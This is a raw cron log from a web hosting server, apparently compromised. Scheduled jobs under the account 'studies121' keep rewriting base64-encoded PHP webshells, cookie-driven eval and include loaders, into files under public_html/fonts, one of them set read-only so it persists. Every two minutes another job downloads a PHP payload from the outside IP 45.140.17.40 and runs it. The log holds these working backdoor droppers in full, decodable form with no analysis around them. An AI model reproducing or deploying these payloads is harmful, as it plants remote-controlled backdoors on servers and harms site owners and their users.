Aug 31 17:18:01 ip-184-168-122-23 CROND[2887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:18:01 ip-184-168-122-23 CROND[2889]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:19:01 ip-184-168-122-23 CROND[3067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:19:01 ip-184-168-122-23 CROND[3069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:19:01 ip-184-168-122-23 CROND[3071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:19:01 ip-184-168-122-23 CROND[3072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:20:01 ip-184-168-122-23 CROND[3171]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:20:01 ip-184-168-122-23 CROND[3173]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 17:20:01 ip-184-168-122-23 CROND[3174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:20:01 ip-184-168-122-23 CROND[3176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:20:01 ip-184-168-122-23 CROND[3178]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 17:20:01 ip-184-168-122-23 CROND[3180]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:20:01 ip-184-168-122-23 CROND[3181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:20:01 ip-184-168-122-23 CROND[3177]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:20:01 ip-184-168-122-23 CROND[3179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:21:01 ip-184-168-122-23 CROND[3304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:21:01 ip-184-168-122-23 CROND[3302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:21:01 ip-184-168-122-23 CROND[3303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:21:01 ip-184-168-122-23 CROND[3305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:22:01 ip-184-168-122-23 CROND[3399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:22:01 ip-184-168-122-23 CROND[3401]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:22:01 ip-184-168-122-23 CROND[3402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:22:01 ip-184-168-122-23 CROND[3403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:22:01 ip-184-168-122-23 CROND[3404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:23:01 ip-184-168-122-23 CROND[3500]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:23:01 ip-184-168-122-23 CROND[3501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:23:01 ip-184-168-122-23 CROND[3502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:23:01 ip-184-168-122-23 CROND[3503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:24:01 ip-184-168-122-23 CROND[3686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:24:01 ip-184-168-122-23 CROND[3689]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:24:01 ip-184-168-122-23 CROND[3690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:24:01 ip-184-168-122-23 CROND[3692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:24:01 ip-184-168-122-23 CROND[3693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:25:01 ip-184-168-122-23 CROND[3800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:25:01 ip-184-168-122-23 CROND[3801]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:25:01 ip-184-168-122-23 CROND[3807]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:25:01 ip-184-168-122-23 CROND[3804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:25:01 ip-184-168-122-23 CROND[3805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:25:01 ip-184-168-122-23 CROND[3806]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:26:01 ip-184-168-122-23 CROND[3921]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:26:01 ip-184-168-122-23 CROND[3922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:26:01 ip-184-168-122-23 CROND[3924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:26:01 ip-184-168-122-23 CROND[3929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:26:01 ip-184-168-122-23 CROND[3926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:27:01 ip-184-168-122-23 CROND[4054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:27:01 ip-184-168-122-23 CROND[4056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:27:01 ip-184-168-122-23 CROND[4057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:27:01 ip-184-168-122-23 CROND[4055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:28:01 ip-184-168-122-23 CROND[4168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:28:01 ip-184-168-122-23 CROND[4171]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:28:01 ip-184-168-122-23 CROND[4172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:28:01 ip-184-168-122-23 CROND[4170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:28:01 ip-184-168-122-23 CROND[4173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:29:01 ip-184-168-122-23 CROND[4258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:29:01 ip-184-168-122-23 CROND[4257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:29:01 ip-184-168-122-23 CROND[4263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:29:01 ip-184-168-122-23 CROND[4261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:30:01 ip-184-168-122-23 CROND[4447]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:30:01 ip-184-168-122-23 CROND[4445]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 17:30:01 ip-184-168-122-23 CROND[4452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:30:01 ip-184-168-122-23 CROND[4455]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:30:01 ip-184-168-122-23 CROND[4456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
